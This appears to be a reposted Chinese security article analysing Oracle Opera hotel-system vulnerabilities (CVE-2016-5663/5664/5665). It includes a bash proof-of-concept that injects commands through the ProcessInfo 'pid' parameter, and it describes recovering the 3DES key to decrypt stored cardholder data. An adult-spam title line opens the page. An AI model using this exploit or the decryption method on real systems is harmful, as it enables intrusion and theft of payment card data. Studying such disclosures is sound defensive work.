压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

Oracle酒店管理平臺數據解密漏洞分析

Oracle Opera系統簡介

Oracle Opera(也稱為Opera PMS,前身為Micros Opera)是由甲骨文旗下的子公司Micros為全球范圍內各大商務酒店量身打造的一款酒店前臺操作系統。凱悅(Hyatt)、希爾頓(Hilton)等全球知名酒店使用的均是Opera PMS操作系統。

opera_ui

經過分析后筆者發現,用戶數據之所以會遭到黑客竊取,問題主要出在Opera PMS系統本身,而與用戶的操作無關;同時,如果僅使用黑盒測試是無法唯一確定漏洞的性質的。不同于以往的漏洞解決方案(供應商接到漏洞報告,并通過內部測試的方法修復漏洞),由于Opera PMS系統供應商向廣大用戶提供了詳盡的解決方案,這便給黑客攻擊Opera PMS系統創造了巨大的空間。攻擊者很容易知曉該軟件存在的缺陷,并可對其合法性進行分析測試。在經過相應的動態分析和靜態分析之后,攻擊者便能找到“進入”該系統數據庫的最佳切入點。

flowchart

漏洞詳解

CVE-2016-5665:竊取系統日志文件,實施會話劫持

opera_launch_pms

在用戶登錄Oracle Opera系統后,他們可以選擇其中一個系統接口進行交互會話。啟動其中接口的請求中包含了用戶會話令牌、特定接口啟動參數等相關信息。

opera_launch_req

這里存在一個問題,即:由于系統會將用于實現用戶交互的會話令牌和其他參數放置在一個目錄文件中,而黑客在未經身份驗證的情況下,便能通過Web服務器訪問該文件。這便是威脅所在。

opera_login_log

而黑客所需要做的便是“守株待兔”,等待一位具有系統管理員身份的用戶登錄Opera。待該用戶登陸成功之后,他便可通過應用程序,拿到系統的所有操作權限,對其中的數據進行任意操作。因為系統管理員具有較高的系統使用權限,能夠對數據庫中的數據進行查詢、修改和刪除等重要操作。一旦攻擊者拿到了管理員權限,那么數據泄漏則無法避免。

opera_sql

需要說明的是,攻擊者往往不會采用上述的方法來竊取用戶信息,因為它速度太慢且不夠“安全”,容易被識破。系統將用戶提交的每一項查詢語句保存于應用層。相比于使用Oracle Form提供的用戶交互接口,直接與數據庫服務器建立連接的方式要快得多,可以提高效率。

CVE-2016-5664:攻擊者可泄漏系統數據庫的憑證信息

若攻擊者與數據庫服務器共用一個網絡,那么他便可通過構造一個數據庫連接字符串的方式,盜取數據庫的相關憑證。因為在Oracle Opera系統中,數據庫憑證以及服務名等信息,是通過系統向服務器發送一個已經經過驗證的HTML請求的方式返回的,用來啟用Oracle Forms軟件。攻擊者在執行一個未經驗證的Servlet程序時,便可獲得該數據庫服務器的主機名。

opera_database

在拿到數據庫的憑證信息后,攻擊者便可通過編譯簡單的連接語句,利用Sql*plus(用戶與oracle數據庫進行交互的客戶端工具),建立與數據庫的連接。之后,他便能以管理員的身份登錄,騙取系統的信任,對數據庫進行實時監控。

db_connected

CVE-2016-5663:通過系統命令注入,實施RCE攻擊

在以下兩種情況中,攻擊者可利用該RCE漏洞:

(1)攻擊者僅能獲取到應用程序服務器的登錄權限(例如:Internet Exposure);

(2)攻擊者僅能通過應用程序服務器連接到數據庫;

以上便是我在調查過程中,得出的最滿意的結果。因為以上二者看似無關,但將它們結合在一起,便能揭示出攻擊者的惡意企圖。

在系統中含有一個判斷數據傳輸過程正誤的程序。在數據傳輸完成后,它將會給系統返回確認信息,例如:網絡端口號(PID)等。而在黑盒測試中,PID參數是放在一個用于執行系統指令的字符串中,不容易被察覺。攻擊者可按下圖所示的步驟進行操作:修改該參數來執行另一個命令,并可通過web服務器將輸出結果放入另一個可讀取的文件中。

processinfo_flow

若一切順利,該程序會輸出結果whoami,并將其放在webtemp文件下。若運行出錯,那么系統將會提示“找不到相應文件”的錯誤信息。

processinfo_error

在瀏覽了該程序的編譯代碼后,我們會發現出錯之處(即下圖內紅框標識部分)。在編譯好的代碼中包含了pslist工具(pslist:查看系統進程,是一個屬性文件)的運行路徑。該文件的存儲路徑經過硬編碼處理,為:D:\micros\opera\operaias\default.env,但我按此路徑查找后發現,該文件并不存在。

processinfo_code

為了修改這一錯誤,需要進行以下兩步操作:

(1)在系統中找到OPERA_HOME屬性的值;

(2)將其保存到D:\micros\opera\operaias\default.env.路徑下。

巧合地是,我在系統中發現了另一個診斷程序,它能夠查看OPERA_HOME屬性信息。如下圖所示:

iasenvironment

接著,我們便可將剛才那個Servlet程序作為RFI載體,上傳至目標路徑:

filereceiver2

筆者利用ProcessInfo程序檢查之后發現,該錯誤已經修改了。同時,系統給出的輸出結果“whoami”也證實了該應用程序能夠正常運行了。

system

下面的腳本程序可用于驗證操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash
STDOUT="D:\micros\opera\operaias\webtemp\temp.log"
if?[?"$#"?-ne?2?];?then
????echo?"Usage:?$0?<host>?<command>"
????echo?"E.g.?:?$0?http://opera.example.biz?whoami"
????exit?1
else
????host="$1"
????cmd="$2"
fi
#?Activate?exploit.
curl?-s?-XPOST?--data-binary?"OPERA_HOME=D:\micros\opera"?"$host/Operajserv/webarchive/FileReceiver?filename=D:/micros/opera/operaias/default.env&crc=26&append=false"?>?/dev/null
#?Inject?command.
curl?-s?-G?--data-urlencode?"pid=1?&?$cmd?>?\"$STDOUT\"?2"?"$host/Operajserv/webarchive/ProcessInfo"?>?/dev/null
curl?-#?-G?"$host/webtemp/temp.log"
#?Deactivate?exploit.
curl?-s?-G?--data-urlencode?"pid=1?&?del?\"$STDOUT\"?2"?"$host/Operajserv/webarchive/ProcessInfo"?>?/dev/null
curl?-s?-G?--data-urlencode?'pid=1?&?del?"D:\micros\opera\operaias\default.env"?2'?"$host/Operajserv/webarchive/ProcessInfo"?>?/dev/null

持卡人信息解密:

利用上述我所講的漏洞利用過程,攻擊者可拿到數據庫的登錄權限,從任何一個未經授權的接口進入Oracle Opera系統數據庫,進而能夠竊取銀行卡持卡人的私密數據,并對其進行解密。

在SQL中,用于查詢數據包包體(package body)的命令語句如下所示:

SELECT NAME, TYPE, TEXT from USER_SOURCE WHERE NAME LIKE ‘%IFC_CRYPT_V4_%’

由于包體信息容易與其他信息混淆,因而,攻擊者便可進一步檢索包體的信息,或是用其來“破解”出3DES算法的密鑰。

unwrap

unwrap_keys2

現在,算法和密鑰都已經得知了,攻擊者的下一步操作便是找到加密數據的存儲位置。他能在Opera資料庫中獲得這些信息。

encrypted_help

一項能夠用于查詢NAMES_CREDIT_CARD表中數據的查詢語句,能夠顯示出用戶名和其他加密的銀行卡信息。同時,攻擊者還可通過一個腳本程序,將加密信息解析為明文。

decrypt_poc2

 

 

來源:安全客

 

上一篇:Facebook聊天記錄竊取漏洞分析

下一篇:Leet僵尸網絡發起高達650Gbps的DDOS攻擊